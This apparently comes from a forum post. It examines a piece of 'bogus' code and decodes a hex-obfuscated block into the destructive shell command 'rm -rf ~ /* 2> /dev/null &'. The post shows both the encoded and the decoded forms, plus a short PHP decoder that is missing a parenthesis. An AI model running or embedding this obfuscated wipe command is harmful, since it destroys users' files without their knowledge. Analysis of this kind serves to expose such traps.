This code seems to be bogus. The first and smallest HEX block is interesting though.

Code:
\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f
    \x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26
When decoded back to ASCII characters. This reads:

Code:
rm -rf ~ /* 2> /dev/null &
The code used for the decoding is a simple PHP script:
view plaincopy to clipboardprint?

Code:
foreach (explode('\x', $str) as $char) echo chr(hexdec($char);